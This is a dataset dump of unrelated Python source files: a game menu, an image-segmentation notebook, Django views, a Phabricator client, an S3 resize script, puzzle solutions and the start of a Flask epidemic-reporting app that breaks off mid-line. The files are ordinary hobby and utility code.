+{"seq_id":"168269219","text":"import sf\nimport resourcemanager\n\nclass Menu (object):\n    def __init__ (self, game, width = 50):\n        self.game = game\n\n        self.x = 0\n        self.y = 0\n        self.width = width\n        \n        self.font = resourcemanager.get('font.menu')\n        \n        self.entries = []\n        self.selected_index = 0\n\n        self.input = []\n        \n    def add_title (self, label, label_size=24):\n        self.add_entry(None, label, label_size)\n\n    def add_entry (self, widget, label=None, label_size=24):\n        ''' append an entry to the menu\n            None widgets will be treated as separators/titles '''\n        \n        if widget: widget.menu = self\n        \n        entry = {\n            'label': sf.Text(label, self.font, label_size) if label else None,\n            'widget': widget\n        }\n        \n        self.entries.append(entry)\n        \n        this_index = self.entries.index(entry)\n        \n        if this_index > 0:\n            # if previous entry is unselectable, make this one the selected one\n            if self.entries[this_index-1]['widget'] == None:\n                self.selected_index = this_index\n\n    def change_selected(self, index):\n        if not index == self.selected_index:\n            self.selected_index = index\n            resourcemanager.get(\"sound.menu_change\").play()\n        \n    def execute_action(self):\n        \n        resourcemanager.get(\"sound.menu_select\").play()\n        \n        entry = self.entries[self.selected_index]\n        entry['callback'](entry['data']) if entry['data'] else entry['callback']()\n\n    def update (self, input):\n        mx, my = sf.Mouse.get_position(self.game.window)\n\n        index_changed = False\n        execute_action = False\n        index = self.selected_index\n        \n        if input['up']:\n\n            if index == 0:\n                index = len(self.entries)-1\n            else:\n                index -= 1\n                \n            index_changed = True\n            \n        elif input['down']:\n           \n            if index == len(self.entries)-1:\n                index = 0\n            else:\n                index += 1\n                \n            index_changed = True\n        \n        for i, entry in enumerate(self.entries):\n            if entry['widget']:\n                entry['widget'].dehilight()\n\n            local_bounds = sf.FloatRect()\n            \n            if entry['widget']:\n                local_bounds.left   = entry['widget'].x\n                local_bounds.top    = entry['widget'].y\n                local_bounds.height = entry['widget'].height\n\n            if entry['label']:\n                local_bounds.left   = entry['label'].x\n                local_bounds.top    = entry['label'].y\n                local_bounds.height = entry['label'].local_bounds.height\n            \n            local_bounds.width = self.width\n            \n            if local_bounds.contains(mx, my) and entry['widget']:\n                index = i\n                index_changed = True\n                \n                if sf.Mouse.is_button_pressed(sf.Mouse.LEFT):\n                   input['confirm'] = True\n\n        if index_changed:\n            if self.entries[index]['widget'] == None:\n                self.selected_index = index\n                self.update(input)\n                return # avoid using invalid index because recursion\n\n            self.change_selected(index)\n       \n        self.entries[self.selected_index]['widget'].hilight()\n        self.entries[self.selected_index]['widget'].update(input)\n\n    def render (self, target):\n        offset = 0\n        i = 0\n        for i, entry in enumerate(self.entries):\n            lh = 0\n            if entry['label']:\n                entry['label'].x = self.x\n                entry['label'].y = self.y + offset\n            \n                if self.selected_index == i:\n                    entry['label'].color = sf.Color.CYAN\n                else:\n                    entry['label'].color = sf.Color.WHITE\n                \n                target.draw(entry['label'])\n                lh = entry['label'].local_bounds.height\n\n            wh = 0\n            if entry['widget']:\n                entry['widget'].x = self.x\n                if entry['label']: entry['widget'].x += entry['label'].local_bounds.width + 10\n\n                entry['widget'].y = self.y + offset\n                entry['widget'].render(target)\n                \n                wh = entry['widget'].height\n\n            offset += max(lh, wh) + 2\n\nclass Widget (object):\n    def __init__ (self):\n        self.x = 0\n        self.y = 0\n\n        self.menu = None\n        self.color = sf.Color.WHITE\n    \n    def dehilight (self):\n        self.color = sf.Color.WHITE\n\n    def hilight (self):\n        self.color = sf.Color.CYAN\n\n    def update (self, input):\n        pass\n\n    def render(self, target):\n        pass\n\nclass Button (Widget):\n    def __init__ (self, label_text, width=100, height=25, callback=None, data=None, text_size=24):\n        super(Button, self).__init__()\n        self.width = width\n        self.height = height\n\n        self.label_text = label_text\n        self.label_text_size = text_size\n        self.label = None\n       \n        self.connect(callback, data)\n\n    def connect (self, callback, data=None):\n        self.callback = callback\n        self.data = data\n\n    def activate (self):\n        resourcemanager.get(\"sound.menu_select\").play()\n\n        if self.callback:\n            if self.data:\n                self.callback(self.data)\n            else:\n                self.callback()\n\n    def update (self, input):\n        if input['confirm']:\n            self.activate()\n\n    def render (self, target):\n        if self.label == None:\n            self.label = sf.Text(self.label_text, self.menu.font, self.label_text_size)\n\n        self.label.x = self.x\n        self.label.y = self.y\n        self.label.color = self.color\n\n        target.draw(self.label)\n\nclass Slider (Widget):\n    def __init__ (self, width=200):\n        super(Slider, self).__init__()\n\n        self.height = 25\n        self.width = width\n\n        self.x = 0\n        self.y = 0\n\n        self.slide = sf.RectangleShape((10, 10))\n        self.slide.origin = (5, 5)\n\n        self.value = 0\n        self.grabbed = False\n    \n    def update (self, input):\n        mx, my = sf.Mouse.get_position(self.menu.game.window)\n\n        local_bounds = sf.FloatRect(\n            self.x, self.y,\n            self.width, self.height\n        )\n\n        if local_bounds.contains(mx ,my):\n            if sf.Mouse.is_button_pressed(sf.Mouse.LEFT):\n                self.grabbed = True\n\n        if self.grabbed:\n            if sf.Mouse.is_button_pressed(sf.Mouse.LEFT):\n                self.value = ((mx - self.x) / float(self.width)) * 100\n            else:\n                self.grabbed = False\n\n        if input['left']:\n            self.value -= 1\n        elif input['right']:\n            self.value += 1\n\n        # clamp within [0, 100]\n        self.value = max(0, min(self.value, 100))\n\n    def render (self, target):\n        line = sf.RectangleShape((self.width,1))\n        line.x = self.x\n        line.y = self.y + self.height/1.5\n        line.fill_color = self.color\n\n        self.slide.x = self.x + self.width * (self.value/100.0)\n        self.slide.y = line.y\n        self.slide.fill_color = self.color\n\n        target.draw(line)\n        target.draw(self.slide)          \n","sub_path":"lapsus/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":7369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"598142320","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Image Segmentation Using Python's PixelLib Package: \n# Last modified: July 13, 2021\n\n# ## Useful links / Citations:\n# https://towardsdatascience.com/custom-instance-segmentation-training-with-7-lines-of-code-ff340851e99b\n# https://pixellib.readthedocs.io/en/latest/custom_inference.html\n\n# ## Import PixelLib and load random training photo:\n# Shows a random training photo with handpicked mask polygon from LabelMe annotation.\n# Run cell multiple times to make sure your image annotations are showing up as expected.\n\n# In[1]:\n\n\nimport pixellib\nfrom pixellib.custom_train import instance_custom_training\n\nvis_img = instance_custom_training()\nvis_img.load_dataset(\"/Users/sebastianperezlopez/Desktop/PixelLabTesting/SeepageDatasetNEW.nosync\")\nvis_img.visualize_sample()\n\n\n# ## Train model\n# Load MaskRCNN model, load pre-trained coco weights, set batch size / epochs / data augmentation\n\n# In[3]:\n\n\nimport pixellib\nfrom pixellib.custom_train import instance_custom_training\n\ntrain_maskrcnn = instance_custom_training()\ntrain_maskrcnn.modelConfig(network_backbone = \"resnet101\", num_classes= 1, batch_size = 4)\ntrain_maskrcnn.load_pretrained_model(\"/Users/sebastianperezlopez/Desktop/PixelLabTesting/COCO Model.nosync/mask_rcnn_coco.h5\")\ntrain_maskrcnn.load_dataset(\"/Users/sebastianperezlopez/Desktop/PixelLabTesting/SeepageDatasetNEW.nosync\")\ntrain_maskrcnn.train_model(num_epochs = 4, augmentation=False, path_trained_models = \"/Users/sebastianperezlopez/Desktop/PixelLabTesting/mask_rcnn_models.nosync\")\n\n\n# ## Create segmentation mask on new image using trained model \n# Photo output showing predicted mask over original photo\n# \n# *Set extract_segmented_objects=True if you want a .jpg file with only the segmented part of your original showing. Will appear in the directory of your .ipynb file. \n\n# In[21]:\n\n\n# Save extracted object (what mask predicts) as a separate file\nimport pixellib\nfrom pixellib.instance import custom_segmentation\n\nsegment_image = custom_segmentation()\nsegment_image.inferConfig(num_classes= 1, class_names= [\"BG\", \"seepage\"])\nsegment_image.load_model('/Users/sebastianperezlopez/Desktop/PixelLabTesting/mask_rcnn_models.nosync/Epoch2_16July') # Put filename of .h5 that has weights you just trained\nsegment_image.segmentImage(\"/Users/sebastianperezlopez/Desktop/framefolder.nosync/raw frames/_frame16500.jpg\", show_bboxes=False, output_image_name=\"/Users/sebastianperezlopez/Desktop/framefolder.nosync/mask+image/_frame16500.jpg\", extract_segmented_objects=False, save_extracted_objects=True)\n\n\n\n# In[14]:\n\n\n# importing pyplot and image from matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\n  \n# reading png image file\nim = img.imread('/Users/sebastianperezlopez/Desktop/5 epochs/seepageTEST5.jpg')\n  \n# show image\nplt.imshow(im)\n\n\n# ## Create segmentation mask on single image using trained model for further image manipulation (no output)\n# No photo output here; instead, saving segmented mask in segmask variable\n\n# In[28]:\n\n\nimport pixellib\nfrom pixellib.instance import custom_segmentation\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\n\noriginalImage = '/Users/sebastianperezlopez/Desktop/framefolder.nosync/raw frames/_frame16500.jpg'\n\nsegment_image = custom_segmentation()\nsegment_image.inferConfig(num_classes= 1, class_names= [\"BG\", \"seepage\"])\nsegment_image.load_model('/Users/sebastianperezlopez/Desktop/PixelLabTesting/mask_rcnn_models.nosync/Epoch2_16July') # Put filename of .h5 that has weights you just trained\nsegmask, output = segment_image.segmentImage(originalImage, show_bboxes=True, extract_segmented_objects= True)\n\n\n\n# ## Isolate Mask\n\n# In[29]:\n\n\n#https://www.codespeedy.com/change-the-pixel-values-of-an-image-in-python/\n\nfrom PIL import Image\nfrom IPython.display import display\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\nimport numpy\nfrom numpy import array\n\noutputMask = segmask['masks']\n\nimage = img.imread(originalImage)\n\nnewImage = Image.new('RGB', (image.shape[1],image.shape[0]), \"black\")\npixels = newImage.load()\n\nfor i in range(newImage.size[0]):\n    for j in range(newImage.size[1]):\n        if outputMask[j,i] == array([True]):\n            pixels[i,j] = (255,255,255)\n        if outputMask[j,i] == array([False]): \n            pixels[i,j] = (0,0,0)\n            \ndisplay(newImage)\n\nnewImage.save('/Users/sebastianperezlopez/Desktop/framefolder.nosync/segmented mask/_frame16500.jpg')\n\n#image.shape\n#outputMask.shape\n\n#for i in range(newImage.shape[0]):\n   # for j in range(newImage.shape[1]):\n     #   if outputMask[i, j] == False:\n     #       newImage[i, j] = 0\n      #  else:\n     #       newImage[i, j] = 1\n\n\n# ## Isolate Masks' Upper Border\n\n# In[30]:\n\n\nfrom PIL import Image\nfrom IPython.display import display\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\nimport numpy\nfrom numpy import array\n\noutputMask = segmask['masks']\n\nimage = img.imread(originalImage)\n\nnewImage = Image.new('RGB', (image.shape[1],image.shape[0]), \"black\")\npixels = newImage.load()\n\n# outputMask = mask\n# newImage = size of original image, all black. \n\n\nfor i in range(newImage.size[0]):\n    j = 0\n    while outputMask[j,i] == array([False]):\n        j += 1\n        #if j == 4677: \n        if j == image.shape[0]: \n            break\n        if outputMask[j,i] == array([True]):\n            pixels[i,j] = (255,255,255)\n            pixels[i+1,j] = (255,255,255)\n            pixels[i+2,j] = (255,255,255)\n            pixels[i+3,j] = (255,255,255)\n            pixels[i-1,j] = (255,255,255)\n            pixels[i-2,j] = (255,255,255)\n            pixels[i-3,j] = (255,255,255)\n            break\n                \n\ndisplay(newImage)\n\n\nnewImage.save('/Users/sebastianperezlopez/Desktop/framefolder.nosync/segmented border/_frame16500.jpg')\n\n\n# ## Analyze a video file and separate frames / run image segmentation on each frame.\n\n# In[ ]:\n\n\n# crop video to only tank (I found this was easiest to do on an iPhone...)\n# need cv2  (OpenCV)\n\n\n# In[18]:\n\n\nimport cv2\n\nvideo = cv2.VideoCapture(\"/Users/sebastianperezlopez/Desktop/framefolder.nosync/DSC_7166.mp4\")\ntotal_frames = video.get(cv2.CAP_PROP_FRAME_COUNT)\nprint(total_frames)\n\nfor i in range(0, 17784, 500):\n    video.set(1, i)\n    ret, still = video.read()\n    cv2.imwrite(f'/Users/sebastianperezlopez/Desktop/framefolder.nosync/raw frames/_frame{i}.jpg', still)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"MaskRCNN.py","file_name":"MaskRCNN.py","file_ext":"py","file_size_in_byte":6391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"389027471","text":"#!/usr/bin/python3\nclass Square():\n    \"\"\"A class used to represent a square.\n\n    Attributes:\n        __size: A private int with size of Square.\n    \"\"\"\n    def __init__(self, size=0):\n        \"\"\"Inits Square with size, pnly allowed type int > 0.\"\"\"\n        try:\n            if not type(size) == int:\n                raise TypeError\n        except TypeError as e:\n            raise Exception(\"size must be an integer\") from e\n        try:\n            if (int(size) < 0):\n                raise ValueError\n            self.__size = size\n        except ValueError as e:\n            raise Exception(\"size must be >= 0\") from e\n","sub_path":"0x06-python-classes/2-square.py","file_name":"2-square.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"577773022","text":"#-*- coding: utf-8 -*-\nimport pprint, json, requests\n                                                                        \nimport xml.etree.ElementTree\nfrom bs4 import BeautifulSoup\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\n# Create your views here.\n\nserviceKey = \"sYYsbAStv5lTMH32zXdixfecuB3dMciY5lyOva1NYa0rQD2odfRg82LZn%2F3QBqa%2BerqaXm28HDph%2FcPI%2BQe7Tw%3D%3D\"\n# serviceKey = URLEncoder.encode(serviceKey, \"UTF-8\")\n\ndef health(request):\n    return JsonResponse({})\n# serviceKey = URLEncoder.encode(serviceKey, \"UTF-8\");\n    private\n    pprint.pprint(request.body)\n    if request.method == 'POST':\n        # nugu_body = json.loads(request.body, encoding='utf-8')\n        aItem = request.POST.get(\"a\")\n        bItem = request.POST.get(\"b\")\n        url = f\"http://apis.data.go.kr/1470000/DURPrdlstInfoService/getUsjntTabooInfoList?ServiceKey={serviceKey}&itemName={aItem}\"\n        print(url)\n        responses = requests.get(url)\n        response = BeautifulSoup(responses.content, 'lxml-xml')\n        pprint.pprint(response)\n    \n        # pprint.pprint(nugu_body)\n        \n    else:\n        return render(request, 'pills/interaction.html')\n    \ndef oldmanCare(request):\n    global serviceKey    # 서비스 인증키 불러오기 (전역변수)\n    \n    # 요청변수(Request Parameter)\n    typeName = \"병용금기\"    # DUR 유형\n    ingrName = \"클로르디아제폭시드\"    # DUR 성분\n    \n    # DUR 품목정보 API\n    # 서비스요청 URL\n    url = f'http://apis.data.go.kr/1470000/DURIrdntInfoService/getOdsnAtentInfoList?ServiceKey={serviceKey}&typeName={typeName}&ingrName={ingrName}&numOfRows=3&pageNo=1'\n    responses = requests.get(url)\n    response = BeautifulSoup(responses.content, 'lxml-xml')\n    pprint.pprint(response)\n    return render(request, 'pills/oldmanCare.html', {'response': response})\n    ","sub_path":"pills/.~c9_invoke_tGgs7.py","file_name":".~c9_invoke_tGgs7.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"582453812","text":"\"\"\"Phabricator client classes.\"\"\"\n\nimport requests\n\n\nclass PhabricatorClient:\n    \"\"\"Simple Phabricator client.\"\"\"\n\n    PRIORITY_HIGH = 75\n\n    STATUS_OPEN = 'open'\n\n    def __init__(self, host, api_token):\n        \"\"\"Create client for specified host and api token.\"\"\"\n        self.host = host\n        self.api_token = api_token\n\n    def api_request(self, method, params):\n        \"\"\"Make api request to Phabricator.\"\"\"\n        params['api.token'] = self.api_token\n        r = requests.get('https://{}/api/{}'.format(self.host, method),\n                         params=params)\n        return r.json()['result']\n\n    def get_task(self, task_id):\n        \"\"\"Get task by id.\"\"\"\n        result = self.api_request('maniphest.search', {\n            'constraints[ids][0]': task_id\n        })['data']\n\n        if len(result) > 0:\n            result = result[0]\n        else:\n            return None\n\n        return PhabricatorTask.fromApiResult(self, result)\n\n    def get_user(self, user_phid):\n        \"\"\"Get user by phid.\"\"\"\n        result = self.api_request('user.search', {\n            'constraints[phids][0]': user_phid\n        })['data'][0]\n\n        user = PhabricatorUser(self)\n        user.username = result['fields']['username']\n        return user\n\n    def find_tasks(self, priorities=[], statuses=[]):\n        \"\"\"Find tasks.\"\"\"\n        params = {}\n\n        for i in range(0, len(priorities)):\n            params['constraints[priorities][' + str(i) + ']'] = priorities\n        for i in range(0, len(statuses)):\n            params['constraints[statuses][' + str(i) + ']'] = statuses\n\n        result = self.api_request('maniphest.search', params)['data']\n        tasks = []\n        for entry in result:\n            tasks.append(PhabricatorTask.fromApiResult(self, entry))\n        return tasks\n\n\nclass PhabricatorTask:\n    \"\"\"Class representing Phabricator task.\"\"\"\n\n    def __init__(self, client):\n        \"\"\"Create instance for client.\"\"\"\n        self.client = client\n\n    @staticmethod\n    def fromApiResult(client, entry):\n        \"\"\"Create instance and fill it with data from api request result.\"\"\"\n        task = PhabricatorTask(client)\n        task.id = entry.get('id')\n        fields = entry.get('fields', {})\n        task.title = fields.get('name')\n        task.ownerPHID = fields.get('ownerPHID')\n        task.authorPHID = fields.get('authorPHID')\n        task.priority = fields.get('priority', {}).get('name')\n        task.status = fields.get('status', {}).get('name')\n        task.dateModified = fields.get('dateModified')\n        return task\n\n    @property\n    def author(self):\n        \"\"\"Get task author.\"\"\"\n        if self.authorPHID is None:\n            return None\n\n        if not hasattr(self, '_author'):\n            self._author = self.client.get_user(self.authorPHID)\n        return self._author\n\n    @property\n    def owner(self):\n        \"\"\"Get task owner/assignee.\"\"\"\n        if self.ownerPHID is None:\n            return None\n\n        if not hasattr(self, '_owner'):\n            self._owner = self.client.get_user(self.ownerPHID)\n        return self._owner\n\n    @property\n    def link(self):\n        \"\"\"Get link to the task.\"\"\"\n        return \"https://{}/T{}\".format(self.client.host, self.id)\n\n\nclass PhabricatorUser:\n    \"\"\"Class representing Phabricator user.\"\"\"\n\n    def __init__(self, client):\n        \"\"\"Create instance for client.\"\"\"\n        self.client = client\n","sub_path":"modules/utils/phabricator.py","file_name":"phabricator.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"167700519","text":"# 30个 斐波那契数列\ndef create_fibonacci_series(length):\n    \"\"\"\n    输入长度\n    :return: 输出数列\n    \"\"\"\n    list_fibonacci = [1, 1]\n    while len(list_fibonacci) < length:\n        number = list_fibonacci[- 1] + list_fibonacci[- 2]\n        list_fibonacci.append(number)\n    return list_fibonacci\n\n\nlist01 = create_fibonacci_series(10)\nprint(list01)\n\n\n# 打印100以内质数\ndef prime_number(start=1, end=0):\n    return [number for number in range(start, end) if check_prime_number(number)]\n\n\ndef check_prime_number(number):\n    for item in range(2, number):\n        if number % item == 0:\n            return False\n    return True\n\n\nprint(prime_number())\n","sub_path":"python_study/base02/tarnar02.py","file_name":"tarnar02.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"541810800","text":"import os\nfrom PIL import Image\nimport boto3\nfrom boto3.s3.transfer import S3Transfer\nimport tempfile\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('images-from')\nclient = boto3.client('s3','ap-northeast-1')\ntransfer = S3Transfer(client)\ndir_imagesfrom = tempfile.TemporaryDirectory()\ndir_imagesto = tempfile.TemporaryDirectory()\nfor obj in bucket.objects.all():\n    transfer.download_file('images-from',obj.key,dir_imagesfrom.name +'\\\\'+ obj.key)\nfor filename in os.listdir(dir_imagesfrom.name):\n    img = Image.open(dir_imagesfrom.name+'\\\\'+filename)\n    w, h = img.size\n    img.thumbnail((w//2,h//2))\n    img.save(dir_imagesto.name+'\\\\'+filename)\nfor filename in os.listdir(dir_imagesto.name):\n    transfer.upload_file(dir_imagesto.name +'\\\\'+ filename,'images-to',filename)\n    print('uploaded:',filename)\ndir_imagesfrom.cleanup()\ndir_imagesto.cleanup()\n\n\n\n","sub_path":"image_resize/resize_use_tempfile.py","file_name":"resize_use_tempfile.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"486935260","text":"from sinric import SinricPro, SinricProConstants\nimport asyncio\n\nAPP_KEY = ''\nAPP_SECRET = ''\nSWITCH_ID = ''\n\n\ndef power_state(device_id, state):\n    print('device_id: {} state: {}'.format(device_id, state))\n    return True, state\n\n\ncallbacks = {\n    SinricProConstants.SET_POWER_STATE: power_state\n}\n\nif __name__ == '__main__':\n    loop = asyncio.get_event_loop()\n    client = SinricPro(APP_KEY, [SWITCH_ID], callbacks,\n                       enable_log=False, restore_states=False, secret_key=APP_SECRET)\n    loop.run_until_complete(client.connect())\n\n# To update the power state on server.\n# client.event_handler.raise_event(SWITCH_ID, SinricProConstants.SET_POWER_STATE, data = {SinricProConstants.STATE: SinricProConstants.POWER_STATE_ON })\n# client.event_handler.raise_event(SWITCH_ID, SinricProConstants.SET_POWER_STATE, data = {SinricProConstants.STATE: SinricProConstants.POWER_STATE_OFF })\n","sub_path":"examples/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"654026093","text":"from django.conf.urls import url\n\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^layouts/$', views.layouts, name='layouts'),   \n    url(r'^look/(?P<pk>[0-9]+)/$', views.look, name='look'), \n    url(r'^rack_item/(?P<pk>[0-9]+)/$', views.rack_item, name='rack_item'), \n    url(r'^look_item/(?P<pk>[0-9]+)/$', views.look_item, name='look_item'), \n    url(r'^look_list/$', views.look_list, name='look_list'),  \n    url(r'^user_product_favorites/(?P<pk>[0-9]+)/$', views.user_product_favorites, name='user_product_favorites'),  \n    url(r'^user_product_favorite/(?P<pk>[0-9]+)/$', views.user_product_favorite, name='user_product_favorite'),\n    url(r'^user_look_favorites/(?P<pk>[0-9]+)/$', views.user_look_favorites, name='user_look_favorites'),  \n    url(r'^user_look_favorite/(?P<pk>[0-9]+)/$', views.user_look_favorite, name='user_look_favorite'),\n    url(r'^client_360/(?P<pk>[0-9]+)/$', views.client_360, name='client_360'),\n    url(r'^styling_session_note/(?P<pk>[0-9]+)/$', views.styling_session_note, name='styling_session_note'),\n    url(r'^styling_session_notes/(?P<pk>[0-9]+)/$', views.styling_session_notes, name='styling_session_notes'),\n    url(r'^look_meta_tags/(?P<pk>[0-9]+)/$', views.look_meta_tags, name='look_meta_tags'),\n    url(r'^style_occasions/$', views.style_occasions, name='style_occasions'),  \n    url(r'^style_type/$', views.style_type, name='style_type'),  \n    url(r'^update_look_position/(?P<pk>[0-9]+)/$', views.update_look_position, name='update_look_position'),\n    url(r'^update_look_collage_image_data/(?P<pk>[0-9]+)/$', views.update_look_collage_image_data, name='update_look_collage_image_data'),\n    url(r'^update_cropped_image_code/(?P<pk>[0-9]+)/$', views.update_cropped_image_code, name='update_cropped_image_code'),\n    url(r'^get_allume_size/$', views.get_allume_size, name='get_allume_size'),\n    url(r'^add_client_to_360/(?P<wp_user_id>[0-9]+)/$', views.add_client_to_360_api, name='add_client_to_360_api'),\n    url(r'^add_look_to_session/(?P<look_id>[0-9]+)/(?P<session_id>[0-9]+)/$', views.add_look_to_session, name='add_look_to_session'),\n    # sold out reporting\n    url(r'^report_product_inventory_mismatch_from_anna/$', views.report_product_inventory_mismatch_from_anna, name='report_product_inventory_mismatch_from_anna'),\n    url(r'^report_product_inventory_mismatch/$', views.report_product_inventory_mismatch, name='report_product_inventory_mismatch'),\n    # download the look_copy report\n    url(r'^look_copy_report/$', views.look_copy_report, name='look_copy_report'),\n\n]\n","sub_path":"shopping_tool_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"41345400","text":"import itertools\n\nmaze = {}\nstart = None\nlocations = []\n\nx, y = 0, 0\nfor line in open('input.txt'):\n\tfor x in range(len(line.rstrip())):\n\t\tmaze[x, y] = line[x]\n\t\tif line[x] == '0':\n\t\t\tstart = (x, y)\n\t\telif line[x] not in '#.':\n\t\t\tlocations.append((x, y))\n\n\ty += 1\n\n# BFS for shortest path\ndef getShortestPath(start, end):\n\tstates = {}\n\tsteps = 0\n\tpos = start\n\tqueue = [(pos, steps)]\n\n\twhile pos != end:\n\t\tpos, steps = queue.pop(0)\n\n\t\tif pos in states:\n\t\t\tcontinue\n\n\t\tstates[pos] = steps\n\n\t\tx, y = pos\n\n\t\tfor move in [(x + 1, y), (x - 1, y), (x, y + 1), (x, y - 1)]:\n\t\t\tif maze[move] != '#':\n\t\t\t\tqueue.append((move, steps + 1))\n\n\treturn steps\n\ndistances = {}\n\nfor location in locations:\n\tdistances[start, location] = getShortestPath(start, location)\n\tdistances[location, start] = distances[start, location]\n\nfor pointA, pointB in itertools.combinations(locations, 2):\n\tlength = getShortestPath(pointA, pointB)\n\n\t# store the distance in both directions for easier lookups\n\tdistances[pointA, pointB], distances[pointB, pointA] = length, length\n\nleastSteps = float('inf')\nfor path in itertools.permutations(locations, len(locations)):\n\tpath = (start,) + path + (start,)\n\tsteps = 0\n\n\tfor i in range(len(path) - 1):\n\t\tsteps += distances[path[i], path[i + 1]]\n\n\tleastSteps = min(leastSteps, steps)\n\nprint(leastSteps)\n","sub_path":"2016/day24/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"522824726","text":"n = int(input(\"Введите количество билетов:\\n\"))\nfound = 0\nfor numcount in range (n):\n    tick = str(input(\"Введите номер билета/билетов:\\n\"))\n    if (tick[0] == 'a') and (tick[4] == '5') and (tick[5] == '5') and (tick[6] == '6') and (tick[7] == '6') and (tick[8] == '1'):\n        print(tick, end = ' ')\n        break\n    else:\n        found += 1\nif found == n:\n    print(\"-1\", end = ' ')","sub_path":"practice/16/python/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"93479505","text":"#coding=utf-8\nfun={\n    \"一\":1,\n    \"二\":2,\n    \"三\":3,\n    \"四\":4,\n    \"五\":5,\n    \"六\":6,\n    \"七\":7,\n    \"八\":8,\n    \"九\":9,\n    \"十\":10,\n    \"十一\":11,\n    \"十二\":12,\n    \"十三\":13,\n    \"十四\":14,\n    \"十五\":15,\n    \"十六\":16,\n    \"十七\":17,\n    \"十八\":18,\n    \"十九\":19,\n    \"二十\":20,\n    \"二十一\":21,\n    \"二十二\":22,\n    \"二十三\":23,\n    \"二十四\":24,\n    \"二十五\":25,\n    \"二十六\":26,\n    \"二十七\":27,\n    \"二十八\":28,\n    \"二十九\":29,\n    \"三十\":30,\n    \"三十一\":31,\n    \"三十二\":32,\n    \"三十三\":33\n}\n\nimport xlrd\n#打开一个workbook\nworkbook = xlrd.open_workbook('./test.xlsx')\n#抓取所有sheet页的名称\nworksheets = workbook.sheet_names()\n#print('worksheets is %s' %worksheets)\n#定位到sheet1\nworksheet1 = workbook.sheet_by_name(u'Sheet1')\n\"\"\"\n#通过索引顺序获取\nworksheet1 = workbook.sheets()[0]\n#或\nworksheet1 = workbook.sheet_by_index(0)\n\"\"\"\n\nimport xlwt\nworkbook2 = xlwt.Workbook() #注意Workbook的开头W要大写\nsheet1 = workbook2.add_sheet('sheet1',cell_overwrite_ok=True)\n\nnum_rows = worksheet1.nrows\nfor curr_row in range(num_rows):\n    row = worksheet1.row_values(curr_row)\n    for index in range(len(row)):\n        if(curr_row!=0 and index==1):\n            sheet1.write(curr_row,index,fun[row[index]])\n        else:\n            sheet1.write(curr_row,index,row[index])\n\n    #print(row[0],fun[row[1]],row[2])\n\nworkbook2.save('./2.xls')","sub_path":"Python/excel/xls_xlrd_xlwt.py","file_name":"xls_xlrd_xlwt.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"128325138","text":"import json\nimport requests\nimport datetime\nfrom flask import *\nfrom flask_cors import CORS\nfrom reporter.make_result import make_result\nfrom reporter.config import config\nfrom reporter.utils import logger, handle_request_exceptions\nfrom tasks import epidemic_report\n\napp_name = 'epidemic'\napp = Flask(app_name)\nCORS(app, supports_credentials=True)\nhandle_request_exceptions(app)\n\n\ndef get_apis() -> dict:\n    return {\n        '/': {\n            \"description\": 'Index and description of the Epidemic Report API',\n            'methods': ['GET'],\n            'args': {},\n            'rets': {\n                'apis': \"Lists of API urls and args\"\n            }\n        },\n        '/report': {\n            \"description\": 'HITsz疫情上报',\n            'methods': ['GET', 'POST'],\n            'args': {\n                \"username\": {\n                    \"description\": 'HITsz SSO登录用户名（学号）',\n                    \"required\": True\n                },\n                \"password\": {\n                    \"defscription\": \"HITsz SSO登录密码\",\n                    \"required\": True\n                },\n                \"api_key\": {\n                    \"description\": \"Server酱的SCKEY\",\n                    \"required\": False\n                }\n            }\n        }\n    }\n\n\n@app.route('/', methods=['GET'])\ndef index():\n    return make_result(data={\n        'description': f'HItsz-daily-reporter API v{config.data.get(\"epidemic-report-version\", None)}',\n        'apis': get_apis()\n    })\n\n\n@app.route('/report/', methods=['GET', 'POST'])\ndef report():\n    if request.method == 'GET':\n        args = request.args\n    elif request.method == 'POST':\n        try:\n            args = request.json\n        except json.decoder.JSONDecodeError:\n            return make_result(400)\n    else:\n        return make_result(400)\n    args = json.loads(json.dumps(args))\n    required = ['username', 'password']\n    for r in required:\n        if r not in args:\n            return make_result(400, message=f'Arg {r} is required')\n    is_successful, msg = epidemic_report.main(args)\n    if is_successful:\n        txt = f\"疫情上报成功！{datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S')}\"\n    else:\n        txt = 